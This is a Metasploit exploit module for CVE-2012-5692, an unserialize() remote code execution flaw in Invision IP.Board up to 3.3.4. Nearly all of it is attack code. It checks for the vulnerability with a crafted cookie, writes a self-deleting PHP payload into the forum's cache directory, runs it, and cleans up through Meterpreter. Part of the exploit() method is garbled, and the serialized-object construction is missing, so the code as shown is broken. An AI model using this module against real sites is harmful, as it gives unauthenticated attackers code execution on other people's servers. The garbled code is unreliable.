## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super( update_info( info, 'Name' => 'Invision IP.Board unserialize() PHP Code Execution', 'Description' => %q{ This module exploits a php unserialize() vulnerability in Invision IP.Board <= 3.3.4 which could be abused to allow unauthenticated users to execute arbitrary code under the context of the webserver user. The dangerous unserialize() exists in the '/admin/sources/base/core.php' script, which is called with user controlled data from the cookie. The exploit abuses the __destruct() method from the dbMain class to write arbitrary PHP code to a file on the Invision IP.Board web directory. The exploit has been tested successfully on Invision IP.Board 3.3.4. }, 'Author' => [ 'EgiX', # Vulnerability discovery, PoC, work on check() and cookie_prefix() methods 'juan vazquez', # Metasploit module 'sinn3r' # PhpEXE tekniq & check() method ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-5692' ], [ 'OSVDB', '86702' ], [ 'BID', '56288' ], [ 'EDB', '22398' ], [ 'URL', 'http://community.invisionpower.com/topic/371625-ipboard-31x-32x-and-33x-critical-security-update/' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { 'Space' => 8000, # Apache's limit for GET 'DisableNops' => true }, 'Targets' => [ ['Invision IP.Board 3.3.4', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2012-10-25', 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_fs_delete_file ] } }, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/forums/"]) ] ) self.needs_cleanup = true end def base base = target_uri.path base << '/' if base[-1, 1] != '/' return base end def cookie_prefix print_status("Checking for cookie prefix") cookie_prefix = "" res = send_request_cgi( { 'uri' => "#{base}index.php", 'method' => 'GET' } ) if res and res.code == 200 and res.get_cookies =~ /(.+)session/ print_status("Cookie prefix #{$1} found") cookie_prefix = $1 end return cookie_prefix end def check check_str = Rex::Text.uri_encode('a:1:{i:0;O:1:"x":0:{}}') res = send_request_cgi( { 'uri' => "#{base}index.php", 'method' => 'GET', 'cookie' => "#{cookie_prefix}session_id=#{check_str}" } ) if res and res.code == 500 or res.body =~ /PHP_Incomplete_Class/ return Exploit::CheckCode::Vulnerable elsif res and res.code == 200 return Exploit::CheckCode::Safe else return Exploit::CheckCode::Unknown end end def on_new_session(client) if client.type == "meterpreter" client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") begin print_warning("Deleting #{@upload_php}") client.fs.file.rm(@upload_php) print_good("#{@upload_php} removed to stay ninja") rescue print_error("Unable to remove #{f}") end end end def exploit @upload_php = rand_text_alpha(rand(4) + 4) + ".php" # get_write_exec_payload uses a function, which limits our ability to support # Linux payloads, because that requires a space: # function my_cmd # becomes: # functionmy_cmd #Causes parsing error # We'll have to address that in the mixin, and then come back to this module # again later. php_payload = get_write_exec_payload(:unlink_self => true) php_payload = php_payload.gsub(/^\<\?php/, ' "#{base}index.php?#{php_payload}", 'method' => 'GET', 'cookie' => "#{cookie_prefix}member_id=#{Rex::Text.uri_encode(db_driver_mysql)}" } ) if not res or res.code != 200 print_error("Exploit failed: #{res.code}") return end print_status("Executing the payload #{@upload_php}") res = send_request_raw({ 'uri' => "#{base}cache/#{@upload_php}" }) if res print_error("Payload execution failed: #{res.code}") return end end end